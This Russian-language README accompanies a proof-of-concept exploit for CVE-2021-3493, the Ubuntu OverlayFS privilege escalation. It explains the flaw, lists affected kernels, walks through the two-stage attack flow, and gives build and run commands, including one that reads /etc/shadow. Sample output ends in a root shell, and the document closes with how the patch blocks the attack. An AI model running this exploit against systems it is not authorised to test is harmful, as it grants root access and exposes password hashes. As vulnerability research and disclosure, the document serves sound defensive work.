
Двухэтапное доказательство концепции для CVE-2021-3493, эксплуатирующее Ubuntu OverlayFS для повышения привилегий от непривилегированного пользователя до root через манипуляцию файловыми возможностями в пространствах имён пользователей.
Рабочий proof-of-concept для CVE-2021-3493, уязвимости локального повышения привилегий в реализации OverlayFS в ядре Ubuntu.
Непривилегированный пользователь может смонтировать overlay-файловую систему внутри пространства имён пользователя и установить произвольные файловые capabilities через setxattr. Ядро не проверяет происхождение пространства имён для этих capabilities, поэтому они срабатывают в init user namespace — что позволяет любому локальному пользователю повысить привилегии до root.
Эта уязвимость характерна только для Ubuntu. В Ubuntu применяется патч (FS_USERNS_MOUNT), разрешающий непривилегированную монтировку overlay — в стандартных ядрах upstream этого нет, поэтому основная линейка Linux и другие дистрибутивы в целом не уязвимы.
| Дистрибутив | Ядро | Уязвимые (исправлено в) |
|---|---|---|
| Ubuntu 20.10 | 5.8 | < 5.8.0-50 |
| Ubuntu 20.04 LTS | 5.4 | < 5.4.0-72 |
| Ubuntu 18.04 LTS | 4.15 | < 4.15.0-142 |
| Ubuntu 18.04 LTS (HWE) | 5.3 | < 5.3.0-73 |
| Ubuntu 16.04 LTS | 4.4 | < 4.4.0-209 |
| Ubuntu 14.04 ESM (HWE) | 4.4 | < 4.4.0-209 |
Источник: USN-4916-1
Этот PoC использует двухэтапную конструкцию:
| Файл | Роль |
|---|---|
exploit.c | Этап 1 — Создаёт overlay-файловую систему внутри пространства имён пользователя, копирует в неё полезную нагрузку rootshell и устанавливает xattr security.capability со всеми capabilities (all+ep) |
Почему два этапа? В оригинальном PoC inspiringz/CVE-2021-3493 эксплойт выполняет exec оболочки из пространства имён пользователя, так что uid=0 — это лишь отображение пространства имён, а не настоящий root. Данный PoC разделяет настройку overlay (дочерний процесс в пространстве имён пользователя) и выполнение полезной нагрузки (родительский процесс в init-пространстве имён), обеспечивая подлинное повышение привилегий.
exploit (init ns, uid=1000)
│
├─ fork → child (user ns)
│ ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
│ ├─ mount overlayfs
│ ├─ copy rootshell → overlay merge dir
│ ├─ setxattr("security.capability", all+ep) ← триггер уязвимости
│ └─ exit
│
└─ parent (init ns, uid=1000)
└─ execl("upper/rootshell")
├─ kernel loads file capabilities in init ns
│ CapPrm: 0000003fffffffff
│ CapEff: 0000003fffffffff
├─ setuid(0) → success
├─ setgid(0) → success
└─ exec /bin/bash → real root shell
/dev/shm → /tmp: В оригинале используется /dev/shm, смонтированный с флагом nosuid, из-за чего ядро молча игнорирует файловые capabilities при exec. В этом PoC используется /tmp (обычно на ext4 без nosuid).
Двухэтапная полезная нагрузка: В оригинале копируется сам исполняемый файл (/proc/self/exe) как бинарник с capabilities, но поскольку эксплойт вызывает unshare, повторный запуск просто снова входит в пространство имён пользователя. В этом PoC используется отдельный бинарник rootshell, который напрямую потребляет capabilities.
| ОС | Ubuntu 20.04.1 LTS (Focal Fossa) |
| Ядро | 5.4.0-65-generic (уязвимое) / 5.4.0-216-generic (исправленное) |
| Конфигурация | Стандартная установка Ubuntu Server — никакие средства защиты не отключались |
Тестовый хост использует стандартное ядро Ubuntu 20.04 со всеми функциями безопасности по умолчанию:
CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (по умолчанию — разрешены непривилегированные пространства имён пользователя)CONFIG_OVERLAY_FS=m (по умолчанию — OverlayFS доступен как модуль)BOOT_IMAGE=... root=... ro)Никакие функции безопасности отключать не требуется — эксплойт работает из коробки на стандартной Ubuntu 20.04 с уязвимым ядром.
⚠️ ПРЕДУПРЕЖДЕНИЕ: Запускайте только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Этот эксплойт предоставляет настоящий root-доступ.
make
./exploit
По умолчанию запускается интерактивная оболочка root. Вы также можете выполнить одну команду:
./exploit "id && cat /etc/shadow"
============================================
CVE-2021-3493 OverlayFS Privilege Escalation
Kernel: 5.4.0-65-generic
User: uid=1000(user) gid=1000(user)
============================================
[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...
[*] Before privilege escalation:
uid=1000(user) gid=1000(user)
[*] Process capabilities:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[+] After setuid(0) + setgid(0):
uid=0(root) gid=0(root)
root@host:~#
make clean
Исправленные ядра (например, >= 5.4.0-70 в Ubuntu 20.04) обновляют формат xattr capabilities с v2 до v3 при установке через overlay в пространстве имён пользователя. Формат v3 содержит поле rootid, записывающее реальный UID пользователя, установившего атрибут, в init-пространстве имён. При exec ядро проверяет rootid — если он не равен 0, capabilities отклоняются:
# Уязвимое ядро (5.4.0-65) — формат v2, без rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000
# Исправленное ядро (5.4.0-70+) — формат v3, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
^^ ^^^^^^^^
v3 rootid=1000
Этот код предоставлен исключительно для исследований безопасности и авторизованного тестирования. Используйте его только на системах, которыми вы владеете или на тестирование которых имеете письменное разрешение. Авторы не несут ответственности за неправомерное использование.
rootshell.c | Этап 2 — Чистая полезная нагрузка, которая использует файловые capabilities для вызова setuid(0) и запуска настоящей оболочки root |